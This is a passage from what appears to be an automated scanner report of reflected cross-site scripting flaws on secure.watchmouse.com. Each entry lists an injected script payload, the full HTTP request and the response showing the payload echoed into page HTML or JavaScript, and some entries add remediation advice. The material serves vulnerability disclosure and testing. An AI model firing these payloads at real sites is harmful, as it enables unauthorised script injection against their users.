HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:30 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-12ff1a5fea619416a5f0454d1931756d" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18498
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::?868a8'-alert(1)-'f02a060b98b=1'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsR ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78385"><script>alert(1)</script>70cefa9d93e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /en78385"><script>alert(1)</script>70cefa9d93e/index.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:45 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-bbb7b4d62458697c0c77d7a5ae3089ea" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13703
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/en78385"><script>alert(1)</script>70cefa9d93e/index.php" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c2ef'-alert(1)-'734d5cd72d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/index.php3c2ef'-alert(1)-'734d5cd72d HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:47 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-f11ebd7d412915e5e80bd321e8eadeea" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13559
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::index.php3c2ef'-alert(1)-'734d5cd72d'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d83c"><script>alert(1)</script>419d908d897 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/index.php4d83c"><script>alert(1)</script>419d908d897 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:46 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-4ee4bf6bbb35c0a31039b8159b55d868" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13685
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/index.php4d83c"><script>alert(1)</script>419d908d897" method="post"> ...[SNIP]...
1.18. https://secure.watchmouse.com/en/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 433cc'-alert(1)-'69fa900d091 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/index.php?433cc'-alert(1)-'69fa900d091=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-27ae6b927411d02a3806e576421a9f66" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18588
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::index.php?433cc'-alert(1)-'69fa900d091=1'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsR ...[SNIP]...
1.19. https://secure.watchmouse.com/en/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d889e"><script>alert(1)</script>e0ab6664ecc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/index.php?d889e"><script>alert(1)</script>e0ab6664ecc=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-99fd5c02e24002e34e089d9fc81ca7bb" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 18703
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/index.php?d889e"><script>alert(1)</script>e0ab6664ecc=1" method="post"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d70f"><script>alert(1)</script>13cc805ad41 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /en7d70f"><script>alert(1)</script>13cc805ad41/learn_more.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:46 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-735bbb43f3b0352e9355ebe02058e15c" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13753
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/en7d70f"><script>alert(1)</script>13cc805ad41/learn_more.php" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48423'-alert(1)-'4e90cd5f9e6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/learn_more.php48423'-alert(1)-'4e90cd5f9e6 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:48 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-93364afd387b438cabed0aa058a7d505" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13619
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::learn_more.php48423'-alert(1)-'4e90cd5f9e6'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52cbc"><script>alert(1)</script>0aea601631c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/learn_more.php52cbc"><script>alert(1)</script>0aea601631c HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:47 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-1749e399746a523148f7a402ac7d637a" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13730
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/learn_more.php52cbc"><script>alert(1)</script>0aea601631c" method="post"> ...[SNIP]...
1.23. https://secure.watchmouse.com/en/learn_more.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/learn_more.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 121ca"><script>alert(1)</script>58596ef1fd6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/learn_more.php?121ca"><script>alert(1)</script>58596ef1fd6=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Wed, 09 Feb 2011 12:26:35 GMT Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45890
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/learn_more.php?121ca"><script>alert(1)</script>58596ef1fd6=1" method="post"> ...[SNIP]...
1.24. https://secure.watchmouse.com/en/learn_more.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/learn_more.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e50ae'-alert(1)-'d456df87712 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/learn_more.php?e50ae'-alert(1)-'d456df87712=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:37 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Wed, 09 Feb 2011 12:26:38 GMT Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 45780
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::learn_more.php?e50ae'-alert(1)-'d456df87712=1'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsR ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e2f"><script>alert(1)</script>c618c95b4e3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /en33e2f"><script>alert(1)</script>c618c95b4e3/plans_price.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:46 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-331250062c61b52545f81a07bd43e63b" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13763
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/en33e2f"><script>alert(1)</script>c618c95b4e3/plans_price.php" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4af6e"><script>alert(1)</script>9d2a6c1cdd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/plans_price.php4af6e"><script>alert(1)</script>9d2a6c1cdd HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:47 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-6916f078ee06d994f9f236e32258ba40" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13729
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/plans_price.php4af6e"><script>alert(1)</script>9d2a6c1cdd" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 289b8'-alert(1)-'077e8fb4a6c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/plans_price.php289b8'-alert(1)-'077e8fb4a6c HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:48 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-dd04b3ed18110dee9ca2b9cc28ce02e6" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13629
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::plans_price.php289b8'-alert(1)-'077e8fb4a6c'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsRef ...[SNIP]...
1.28. https://secure.watchmouse.com/en/plans_price.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/plans_price.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fa9b6'-alert(1)-'7eea0d4a4a4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/plans_price.php?fa9b6'-alert(1)-'7eea0d4a4a4=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:38 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-e59b6e4184a2981537e838b4bac6de7c" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55659
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <![CDATA[ function checkReferrer(){ var vref_string = encodeURIComponent('173.193.214.243::0::::plans_price.php?fa9b6'-alert(1)-'7eea0d4a4a4=1'); var serverRef = encodeURIComponent(''); if(document && document.referrer){ jsRef = encodeURIComponent(document.referrer); }else{ jsRef = ''; } requestParams = 'vjsRef='+jsR ...[SNIP]...
1.29. https://secure.watchmouse.com/en/plans_price.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.watchmouse.com
Path:
/en/plans_price.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fd3c"><script>alert(1)</script>6dbccbdb1db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /en/plans_price.php?2fd3c"><script>alert(1)</script>6dbccbdb1db=1 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 09 Feb 2011 12:26:35 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-69b6fe5a5c2f3e0a3c1233394425ea01" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55768
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/plans_price.php?2fd3c"><script>alert(1)</script>6dbccbdb1db=1" method="post"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3ec5"><script>alert(1)</script>09664dfd080 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /end3ec5"><script>alert(1)</script>09664dfd080/website_monitoring_features.php HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:45 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-9d458ec02f3d22d490a82761fb1d6eab" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13923
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head><tit ...[SNIP]... <form id="login_form" action="https://secure.watchmouse.com/en/end3ec5"><script>alert(1)</script>09664dfd080/website_monitoring_features.php" method="post"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fd16c'-alert(1)-'e746f8a7df8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /en/website_monitoring_features.phpfd16c'-alert(1)-'e746f8a7df8 HTTP/1.1 Host: secure.watchmouse.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 09 Feb 2011 12:26:47 GMT Server: Apache/2.2.9 (Debian) X-Powered-By: PHP/5.2.6-1+lenny9 Cache-Control: private, no-cache, must-revalidate, max-age=3600 Pragma: no-cache ETag: "0-en-7c0f8395b5e9d1c148075bca9cc5a9fe" Content-Language: en P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 13789
